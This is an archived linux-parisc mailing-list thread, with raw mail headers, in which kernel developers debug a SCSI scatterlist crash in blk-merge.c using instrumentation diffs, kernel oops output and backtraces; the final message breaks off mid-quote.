Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26484>

On Sun, 2016-02-21 at 22:17 +0100, Helge Deller wrote:
> On 21.02.2016 22:09, John David Anglin wrote:
> > On 2016-02-21, at 3:28 PM, James Bottomley wrote:
> > 
> > > That said, I still can't reproduce this, so you're going to have
> > > to
> > > help me find it.  Current theory is ll_merge_request_fn() it
> > > looks like
> > > there's scope for miscalculation in there.  Can you instrument
> > > this
> > > line
> > > 
> > > 	/* Merge is OK... */
> > > 	req->nr_phys_segments = total_phys_segments;
> > > 
> > > To add just before the return
> > > 
> > > if (req->nr_phys_segments != __blk_recalc_rq_segments(rq->q, rq
> > > ->bio,	false) 
> > > 	printk("MISMATCH IN MERGE: got %d, should get %d\n", 
> > > 		req->nr_phys_segments,
> > > 		__blk_recalc_rq_segments(rq->q, rq->bio, false));
> > 
> > This didn't trigger.  There were some typos:
> 
> It didn't trigger for me either.

OK, can you instrument the same thing in ll_new_hw_segment() after 

	req->nr_phys_segments += nr_phys_segs;

> > diff --git a/block/blk-merge.c b/block/blk-merge.c
> > index d9c3a75..e8969ef 100644
> > --- a/block/blk-merge.c
> > +++ b/block/blk-merge.c
> > @@ -545,6 +545,12 @@ static int ll_merge_requests_fn(struct
> > request_queue *q, struct request *req,
> >  
> >         /* Merge is OK... */
> >         req->nr_phys_segments = total_phys_segments;
> > +
> > +if (req->nr_phys_segments != __blk_recalc_rq_segments(req->q, req
> > ->bio,        false)) 
> > +       printk("MISMATCH IN MERGE: got %d, should get %d\n", 
> > +               req->nr_phys_segments,
> > +               __blk_recalc_rq_segments(req->q, req->bio, false));
> > +
> >         return 1;
> >  }
> 
> Interestingly it now triggered somewhere else...
> I enabled CONFIG_DEBUG_SG, which I had enabled the last few times as
> well, but it now happened
> for the first time:

No, that just means the sg table you initialised was too short: the
last element didn't get a sg_magic set; it's effectively the same
error, just showing differently.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 17:08:52 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <B4B72966-4F44-4ECD-B8C5-464ADF145BB4@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com> <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net> <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de> <1456086490.2340.18.camel@HansenPartnership.com> <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de> <1456091379.2340.22.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456092549 12851 80.91.229.3 (21 Feb 2016 22:09:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 22:09:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 23:09:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXcBW-0005eu-Tq
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 23:08:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752387AbcBUWI4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 17:08:56 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:14382 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752377AbcBUWIy convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 17:08:54 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160221220853.RRKI19982.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 17:08:53 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by mtlspm01.bell.net
          with ESMTP
          id <20160221220853.WNED25255.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 17:08:53 -0500
In-Reply-To: <1456091379.2340.22.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.56CA3575.004A,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26485>

On 2016-02-21, at 4:49 PM, James Bottomley wrote:

> OK, can you instrument the same thing in ll_new_hw_segment() after 
> 
> 	req->nr_phys_segments += nr_phys_segs;

This didn't trigger either.   In this boot, we had a bad address:

Bad Address (null pointer deref?): Code=15 regs=000000007c5c5260 (Addr=0000010a)

here:
 IAOQ[0]: blk_rq_map_sg+0x364/0x670                                             
 IAOQ[1]: blk_rq_map_sg+0x368/0x670                                             
 RP(r2): blk_rq_map_sg+0x358/0x670                                              

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 19:53:50 -0500
Lines: 244
Approved: news@gmane.org
Message-ID: <0905D3D6-635F-4E09-BFD0-2EBE5DA0B0CC@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com> <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net> <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de> <1456086490.2340.18.camel@HansenPartnership.com> <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-10-1053860630
X-Trace: ger.gmane.org 1456102447 27369 80.91.229.3 (22 Feb 2016 00:54:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Feb 2016 00:54:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 22 01:53:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXel7-0007Wg-HE
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Feb 2016 01:53:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752304AbcBVAxx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 19:53:53 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:23561 "EHLO
	torfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752190AbcBVAxw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 19:53:52 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160222005350.XTHO15290.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 19:53:50 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm01.bell.net
          with ESMTP
          id <20160222005350.WKQB24553.torspm01.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 19:53:50 -0500
In-Reply-To: <56CA2982.1030607@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.56CA5C1E.0107,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26486>


--Apple-Mail-10-1053860630
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2016-02-21, at 4:17 PM, Helge Deller wrote:

> I enabled CONFIG_DEBUG_SG, which I had enabled the last few times as =
well, but it now happened
> for the first time:

I also enabled CONFIG_DEBUG_SG.  I added a bunch of printks and =
eventually narrowed the bug occurance
to __blk_segment_map_sg.  It seems like clearing the termination bit is =
somewhat dangerous.  I added the
attached check.  With it, I get the following on boot:

scsi target6:0:2: Beginning Domain Validation                            =
      =20
 sdb: sdb1 sdb2 sdb3 sdb4                                                =
      =20
scsi target6:0:2: Ending Domain Validation                               =
      =20
scsi target6:0:2: FAST-160 WIDE SCSI 320.0 MB/s DT IU QAS RTI WRFLOW =
PCOMP (6.2)
sd 6:0:2:0: [sdc] 143374738 512-byte logical blocks: (73.4 GB/68.3 GiB)  =
      =20
sd 6:0:0:0: [sdb] Attached SCSI disk                                     =
      =20
sd 6:0:2:0: [sdc] Write Protect is off                                   =
      =20
sd 6:0:2:0: [sdc] Write cache: enabled, read cache: enabled, supports =
DPO and FA
mptbase: ioc1: Initiating bringup                                        =
      =20
sd 6:0:2:0: [sdc] Attached SCSI disk                                     =
      =20
ioc1: LSI53C1030 B2: Capabilities=3D{Initiator,Target}                   =
        =20
scsi host7: ioc1: LSI53C1030 B2, FwRev=3D01032341h, Ports=3D1, MaxQ=3D255,=
 IRQ=3D68    =20
__blk_segment_map_sg: clearing termination bit                           =
      =20
------------[ cut here ]------------                                     =
      =20
kernel BUG at include/linux/scatterlist.h:92!                            =
      =20
__blk_segment_map_sg: clearing termination bit                           =
      =20
------------[ cut here ]------------                                     =
      =20
kernel BUG at include/linux/scatterlist.h:92!                            =
      =20
CPU: 3 PID: 1026 Comm: systemd-udevd Not tainted 4.2.0-rc2+ #16          =
      =20
task: 000000007f77d548 ti: 000000007e4f0000 task.ti: 000000007e4f0000    =
      =20
                                                                         =
      =20
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                    =
      =20
PSW: 00001000000001000011001000001110 Not tainted                        =
      =20
r00-03  000000ff0804320e 000000007e4f1130 00000000403623e8 =
000000007e4f1130    =20
r04-07  000000004074f010 000000000001c000 0000000000001000 =
00000000000001a0    =20
r08-11  000000007e7b3040 0000000000000000 0000000000000000 =
000000007e6990c0    =20
r12-15  000000000000001a 0000000000000000 000000007c784790 =
0000000000000006    =20
r16-19  0000000042d79220 0000000000001000 0000000000000001 =
0000000000000000    =20
r20-23  000000000000002e 00000000705f7367 000000000000001f =
0000000000000000    =20
r24-27  ffffffff87654000 000000000800000e 000000007e6990c0 =
000000004074f010    =20
r28-31  000000007e7b3a00 000000007e4f1230 000000007e4f1260 =
0000000087654321    =20
sr00-03  0000000000016800 0000000000000000 0000000000000000 =
0000000000016800   =20
sr04-07  0000000000000000 0000000000000000 0000000000000000 =
0000000000000000   =20
                                                                         =
      =20
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040362608 =
000000004036260c=20
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000f93c4f1260           =
      =20
 CPU:        3   CR30: 000000007e4f0000 CR31: ffffffffffffffff           =
      =20
 ORIG_R28: 000000000000002e                                              =
      =20
 IAOQ[0]: blk_rq_map_sg+0x580/0x6a0                                      =
      =20
 IAOQ[1]: blk_rq_map_sg+0x584/0x6a0                                      =
      =20
 RP(r2): blk_rq_map_sg+0x360/0x6a0                                       =
      =20
Backtrace:                                                               =
      =20
 [<000000004046f4b0>] scsi_init_sgtable+0x70/0xb8                        =
      =20
 [<000000004046f564>] scsi_init_io+0x6c/0x220                            =
      =20
 [<000000000811c5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]       =
      =20
 [<000000000811cf14>] sd_init_command+0x44/0x130 [sd_mod]                =
      =20
 [<000000004046f81c>] scsi_setup_cmnd+0x104/0x1b0                        =
      =20
 [<000000004046fab8>] scsi_prep_fn+0x100/0x1a0                           =
      =20
 [<000000004035b9b0>] blk_peek_request+0x1b8/0x298                       =
      =20
 [<0000000040471028>] scsi_request_fn+0xf8/0xa90                         =
      =20
 [<0000000040357244>] __blk_run_queue+0x4c/0x70                          =
      =20
 [<00000000403802c4>] cfq_insert_request+0x2dc/0x580                     =
      =20
 [<0000000040356404>] __elv_add_request+0x1b4/0x300                      =
      =20

We have in blk-merge.c:

                else {
                        /*
                         * If the driver previously mapped a shorter
                         * list, we could see a termination bit
                         * prematurely unless it fully inits the sg
                         * table on each mapping. We KNOW that there
                         * must be more entries here or the driver
                         * would be buggy, so force clear the
                         * termination bit to avoid doing a full
                         * sg_init_table() in drivers for each command.
                         */
                        if (sg_is_last (*sg))
                          printk ("__blk_segment_map_sg: clearing =
termination bi
t\n");
                        sg_unmark_end(*sg);
                        *sg =3D sg_next(*sg);
                        BUG_ON (!*sg);
                }

The comment suggests there must be more entries...

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-10-1053860630
Content-Disposition: attachment;
	filename=blk-merge.c.d.txt
Content-Type: text/plain;
	name="blk-merge.c.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/block/blk-merge.c b/block/blk-merge.c
index d9c3a75..f893ecf 100644
--- a/block/blk-merge.c
+++ b/block/blk-merge.c
@@ -327,8 +327,11 @@ new_segment:
 			 * termination bit to avoid doing a full
 			 * sg_init_table() in drivers for each command.
 			 */
+			if (sg_is_last (*sg))
+			  printk ("__blk_segment_map_sg: clearing =
termination bit\n");
 			sg_unmark_end(*sg);
 			*sg =3D sg_next(*sg);
+			BUG_ON (!*sg);
 		}
=20
 		sg_set_page(*sg, bvec->bv_page, nbytes, =
bvec->bv_offset);
@@ -392,6 +395,9 @@ int blk_rq_map_sg(struct request_queue *q, struct =
request *rq,
 	if (rq->bio)
 		nsegs =3D __blk_bios_map_sg(q, rq->bio, sglist, &sg);
=20
+	if (!sg)
+		return nsegs;
+
 	if (unlikely(rq->cmd_flags & REQ_COPY_USER) &&
 	    (blk_rq_bytes(rq) & q->dma_pad_mask)) {
 		unsigned int pad_len =3D
@@ -415,8 +421,7 @@ int blk_rq_map_sg(struct request_queue *q, struct =
request *rq,
 		rq->extra_len +=3D q->dma_drain_size;
 	}
=20
-	if (sg)
-		sg_mark_end(sg);
+	sg_mark_end(sg);
=20
 	return nsegs;
 }
@@ -439,6 +444,14 @@ static inline int ll_new_hw_segment(struct =
request_queue *q,
 	 * counters.
 	 */
 	req->nr_phys_segments +=3D nr_phys_segs;
+
+#if 0
+if (req->nr_phys_segments !=3D __blk_recalc_rq_segments(req->q, =
req->bio, false))=20
+	printk("ll_new_hw_segment: MISMATCH IN MERGE: got %d, should get =
%d\n",=20
+	       req->nr_phys_segments,
+	       __blk_recalc_rq_segments(req->q, req->bio, false));
+#endif
+
 	return 1;
=20
 no_merge:
@@ -545,6 +558,14 @@ static int ll_merge_requests_fn(struct =
request_queue *q, struct request *req,
=20
 	/* Merge is OK... */
 	req->nr_phys_segments =3D total_phys_segments;
+
+#if 0
+if (req->nr_phys_segments !=3D __blk_recalc_rq_segments(req->q, =
req->bio,	false))=20
+	printk("MISMATCH IN MERGE: got %d, should get %d\n",=20
+		req->nr_phys_segments,
+		__blk_recalc_rq_segments(req->q, req->bio, false));
+#endif
+
 	return 1;
 }
=20

--Apple-Mail-10-1053860630--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 22:24:22 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <951EFC7D-4166-41E5-BD1B-E22EE7884AD7@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com> <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net> <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de> <1456086490.2340.18.camel@HansenPartnership.com> <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de> <0905D3D6-635F-4E09-BFD0-2EBE5DA0B0CC@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1456111474 31262 80.91.229.3 (22 Feb 2016 03:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Feb 2016 03:24:34 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 22 04:24:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXh6n-0006aw-QC
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Feb 2016 04:24:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753211AbcBVDYY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 22:24:24 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:49033 "EHLO
	torfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753078AbcBVDYY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 22:24:24 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20160222032422.YYBR15290.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 21 Feb 2016 22:24:22 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by torspm01.bell.net
          with ESMTP
          id <20160222032422.XZUA24553.torspm01.bell.net@[192.168.2.10]>;
          Sun, 21 Feb 2016 22:24:22 -0500
In-Reply-To: <0905D3D6-635F-4E09-BFD0-2EBE5DA0B0CC@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.56CA7F66.00E4,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26487>

On 2016-02-21, at 7:53 PM, John David Anglin wrote:

> Backtrace:                                                                      
> [<000000004046f4b0>] scsi_init_sgtable+0x70/0xb8                               
> [<000000004046f564>] scsi_init_io+0x6c/0x220                                   
> [<000000000811c5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]              
> [<000000000811cf14>] sd_init_command+0x44/0x130 [sd_mod]                       
> [<000000004046f81c>] scsi_setup_cmnd+0x104/0x1b0                               
> [<000000004046fab8>] scsi_prep_fn+0x100/0x1a0                                  
> [<000000004035b9b0>] blk_peek_request+0x1b8/0x298                              
> [<0000000040471028>] scsi_request_fn+0xf8/0xa90                                
> [<0000000040357244>] __blk_run_queue+0x4c/0x70                                 
> [<00000000403802c4>] cfq_insert_request+0x2dc/0x580                            
> [<0000000040356404>] __elv_add_request+0x1b4/0x300                             
> 
> We have in blk-merge.c:
> 
>                else {
>                        /*
>                         * If the driver previously mapped a shorter
>                         * list, we could see a termination bit
>                         * prematurely unless it fully inits the sg
>                         * table on each mapping. We KNOW that there
>                         * must be more entries here or the driver
>                         * would be buggy, so force clear the
>                         * termination bit to avoid doing a full
>                         * sg_init_table() in drivers for each command.
>                         */
>                        if (sg_is_last (*sg))
>                          printk ("__blk_segment_map_sg: clearing termination bi
> t\n");
>                        sg_unmark_end(*sg);
>                        *sg = sg_next(*sg);
>                        BUG_ON (!*sg);
>                }
> 
> The comment suggests there must be more entries...

I'm thinking with the split the scsi driver needs to provide one or two extra entires in the sg list.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Mon, 22 Feb 2016 22:04:09 -0500
Lines: 149
Approved: news@gmane.org
Message-ID: <38C40D56-D72B-4F87-AAF3-050391B9546D@bell.net>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net> <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net> <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de> <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net> <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net> <1456026424.2268.5.camel@HansenPartnership.com> <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net> <1456078381.2340.5.camel@HansenPartnership.com> <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net> <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de> <1456086490.2340.18.camel@HansenPartnership.com> <28582474-5AB3-4022-86FE-E823F5990623@bell.net> <56CA2982.1030607@gmx.de> <0905D3D6-635F-4E09-BFD0-2EBE5DA0B0CC@bell.net> <951EFC7D-4166-41E5-BD1B-E22EE7884AD7@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-21--999403916
X-Trace: ger.gmane.org 1456196665 29287 80.91.229.3 (23 Feb 2016 03:04:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Feb 2016 03:04:25 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 23 04:04:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aY3Gn-0004Uw-4w
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Feb 2016 04:04:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755997AbcBWDEM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Feb 2016 22:04:12 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:42636 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754795AbcBWDEL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Feb 2016 22:04:11 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160223030410.FJWP19982.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 22 Feb 2016 22:04:10 -0500
Original-Received: from [192.168.2.10] (really [70.54.51.120]) by mtlspm02.bell.net
          with ESMTP
          id <20160223030409.NREW21522.mtlspm02.bell.net@[192.168.2.10]>;
          Mon, 22 Feb 2016 22:04:09 -0500
In-Reply-To: <951EFC7D-4166-41E5-BD1B-E22EE7884AD7@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.56CBCC29.0168,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26488>


--Apple-Mail-21--999403916
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2016-02-21, at 10:24 PM, John David Anglin wrote:

> On 2016-02-21, at 7:53 PM, John David Anglin wrote:
>=20
>> Backtrace:                                                            =
         =20
>> [<000000004046f4b0>] scsi_init_sgtable+0x70/0xb8                      =
        =20
>> [<000000004046f564>] scsi_init_io+0x6c/0x220                          =
        =20
>> [<000000000811c5c0>] sd_setup_read_write_cmnd+0x58/0x968 [sd_mod]     =
        =20
>> [<000000000811cf14>] sd_init_command+0x44/0x130 [sd_mod]              =
        =20
>> [<000000004046f81c>] scsi_setup_cmnd+0x104/0x1b0                      =
        =20
>> [<000000004046fab8>] scsi_prep_fn+0x100/0x1a0                         =
        =20
>> [<000000004035b9b0>] blk_peek_request+0x1b8/0x298                     =
        =20
>> [<0000000040471028>] scsi_request_fn+0xf8/0xa90                       =
        =20
>> [<0000000040357244>] __blk_run_queue+0x4c/0x70                        =
        =20
>> [<00000000403802c4>] cfq_insert_request+0x2dc/0x580                   =
        =20
>> [<0000000040356404>] __elv_add_request+0x1b4/0x300                    =
        =20
>>=20
>> We have in blk-merge.c:
>>=20
>>               else {
>>                       /*
>>                        * If the driver previously mapped a shorter
>>                        * list, we could see a termination bit
>>                        * prematurely unless it fully inits the sg
>>                        * table on each mapping. We KNOW that there
>>                        * must be more entries here or the driver
>>                        * would be buggy, so force clear the
>>                        * termination bit to avoid doing a full
>>                        * sg_init_table() in drivers for each command.
>>                        */
>>                       if (sg_is_last (*sg))
>>                         printk ("__blk_segment_map_sg: clearing =
termination bi
>> t\n");
>>                       sg_unmark_end(*sg);
>>                       *sg =3D sg_next(*sg);
>>                       BUG_ON (!*sg);
